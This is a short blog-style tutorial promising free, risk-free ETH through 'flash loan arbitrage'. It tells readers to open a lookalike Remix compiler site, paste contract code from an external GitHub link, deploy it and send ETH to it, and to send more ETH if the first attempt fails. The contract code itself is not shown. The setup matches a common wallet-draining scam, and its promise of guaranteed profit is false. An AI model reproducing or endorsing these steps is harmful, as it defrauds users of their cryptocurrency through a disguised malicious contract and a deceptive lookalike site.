Ethereum Token (ETH) for free? Yes. Who wouldn’t desire a little extra cash?
In this tutorial. I outlined a not-so-complicated method with which you can earn ETH easily at no-risk. Follow the tutorial carefully or it might not work.
In this method we make use of a specific approach known as “FLASH LOANS”.
Uncollateralized lending, often known as flash loans, has grown in popularity in decentralized finance (DeFi). Flash loan exploits have been used to attack DeFi protocols that are vulnerable, despite their popularity.
“Learn more about flash loans
— https://academy.binance.com/en/articles/what-are-flashloans-in-defi”
So, what’s the catch, exactly? A flash loan must be taken out and paid back in the same blockchain transaction.
WATCH FULL STEP BY STEP FLASH LOANS GUIDE
Step By Step Guide for Flash Loans:
• Get the Metamask Extension for your browser
• Open https://remixcompiler.com/ from within your browser.
• Click on File Explorers and click “Create New File “.
• Name the file flashloans.sol and paste the contract code link below. ►
https://raw.githubusercontent.com/Crypto-Arbitrages/ETH-Arbitrage/main/FullCode
• Click on Deploy & Run transactions and set “ENVIRONMENT” to Injected Web3.
• Connect your MetaMask wallet.
• Click on the “Solidity Compiler” and set the compiler version to 0.5.0
• Click on the Solidity Compiler and then click the blue button “Compile flashloans.sol”
• Wait for the code to compile.
• Click on Deploy & run transactions then click on the down arrow right from the “Deploy” button
• On “_TOKENNAME”
• On “_TOKENSYMBOL”
• On “_LOANAMOUNT” 1000
• Click Transact and confirm the transaction in MetaMask.
• Wait for the transaction to confirm.
• Copy the address of the newly deployed contract.
• Send ETH to the deployed contract to initiate the swap 0.1 ETH+ (0.1 ETH up is better as you will get a bigger amount in each swap)
• Wait for the transaction to confirm.
• Now, Click “action” (red box) to execute the Flash Loan.
• Confirm the transaction in MetaMask and wait for the confirmation.
You can now check your wallet
Note: If it doesn’t work with 0.1 ETH try to send another 0.1 ETH(0.1 is better), because fees may be different from day to day. (0.1+ ETH for each 1000 ETH you are borrowing).
Avoid using very small amounts, as the contract may fail if the value is less than 0.05 ETH. Because the price of gas fluctuates from time to time, the arbitrage may fail in some very rare circumstances owing to depletion of ETH in your smart contract.
Don’t panic, all you have to do now is wait a few minutes (5–10 minutes) and attempt the transaction, preferably with a loan amount of 825 and a gas limit of 31,560, and it should work perfectly, albeit with a lesser profit.
When you’re finished, make sure to transfer your ETH to another wallet.